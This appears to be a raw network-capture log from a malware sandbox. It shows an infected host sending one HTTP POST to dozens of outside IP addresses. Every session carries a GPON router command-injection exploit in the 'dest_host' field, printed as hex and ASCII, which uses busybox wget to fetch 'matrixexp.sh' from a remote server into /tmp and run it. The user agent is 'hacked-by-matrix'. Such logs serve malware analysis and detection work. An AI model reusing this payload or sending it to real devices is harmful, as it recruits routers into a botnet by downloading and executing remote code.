Mar 21, 2024 05:23:46.887367010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2143	192.168.2.13	50358	109.50.141.177	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887367010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2144	192.168.2.13	35700	5.246.187.141	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887382984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2145	192.168.2.13	55082	42.232.116.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887442112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2146	192.168.2.13	52662	212.106.224.99	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887459993 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2147	192.168.2.13	40578	5.163.121.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887468100 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2148	192.168.2.13	40798	5.183.242.73	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887487888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2149	192.168.2.13	42988	5.126.77.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887495041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2150	192.168.2.13	34032	5.162.158.158	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887516975 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2151	192.168.2.13	51324	118.234.132.59	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887521029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2152	192.168.2.13	50194	118.23.27.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887545109 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2153	192.168.2.13	38380	118.202.213.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887562990 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2154	192.168.2.13	51494	109.215.9.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887578964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2155	192.168.2.13	56186	212.143.172.26	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887588978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2156	192.168.2.13	36290	5.51.251.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887608051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2157	192.168.2.13	45666	109.38.131.68	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887614012 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2158	192.168.2.13	53932	118.228.234.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887620926 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2159	192.168.2.13	60926	42.64.154.167	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887626886 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2160	192.168.2.13	33492	5.61.58.3	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887653112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2161	192.168.2.13	35090	42.38.237.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887665033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2162	192.168.2.13	38312	109.25.241.82	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887670994 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2163	192.168.2.13	42680	212.190.244.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887691975 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2164	192.168.2.13	46162	42.186.163.123	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887698889 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2165	192.168.2.13	35422	109.237.191.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887731075 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2166	192.168.2.13	35984	212.176.159.101	443

Timestamp	Bytes transferred	Direction	Data
